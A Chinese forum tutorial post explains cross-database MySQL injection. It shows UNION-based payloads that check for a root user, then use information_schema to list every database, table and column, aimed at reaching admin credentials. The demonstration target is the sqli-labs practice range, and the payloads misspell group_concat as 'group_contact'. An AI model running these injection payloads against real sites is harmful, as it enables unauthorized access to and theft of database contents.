无名商城论坛

搜索
查看: 718|回复: 0

[TSD/原创] MYSQL注入 跨库注入

[复制链接]

1万

主题

1万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
32464
发表于 2022-4-15 02:01:51 | 显示全部楼层 |阅读模式

这里首先说明,跨库注入只发生在mysql版本5.x以上的版本,且注入点需要为root。

上一帖子有写到可以用内置函数在回显点查询当前用户,也就是user()函数

会返回类似图1中的xx@xx,就是当前用户。

这里要说明,在mysql中,只有root用户享有最高权限,其他用户无论名字是什么,一概都是普通的权限。

顺便解答一下为什么跨库注入只发生在5.x以上的版本中,是因为在mysql5.x以上的版本中,自带了一个名为information_schema的数据库,这个数据库中包含了所有数据库的库,表,列名,可以通过他来查询任何一个数据库中的任何一个信息,当然,这要是root用户才可以。

下面看案例,老样子,依旧是sql libs的靶场

我们通过xxxx/?id=-1 union select 1,user(),3 查到了当前的注入点是root用户,如图2所示,那么我们就可以进行跨库注入

通过命名xxx/?id=-1 union select 1,group_contact(schema_name),3 from information_schema.schemata
来查询information-schema数据库下tables中的全部数据,也就是全部数据库表名,得到结果,有以上数据库。如图3

这就是所有数据库,接下来我们可以通过数据库名,结合上一帖子中的查询方法,查到任何一个数据库中的信息,包括管理员账号密码
xxx/?id=-1 union select 1,group_contact(table_name),3 from information_schema.tables where table_schema='test'  
查询test库下的全部表名
xxx/?id=-1 union select 1,group_contact(column_name),3 from information_schema.columns where table_schema='test'
查询test库下全部列名,诸如此类语句可以自己构建[呼~][呼~]

水帖完成[笑眼]

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表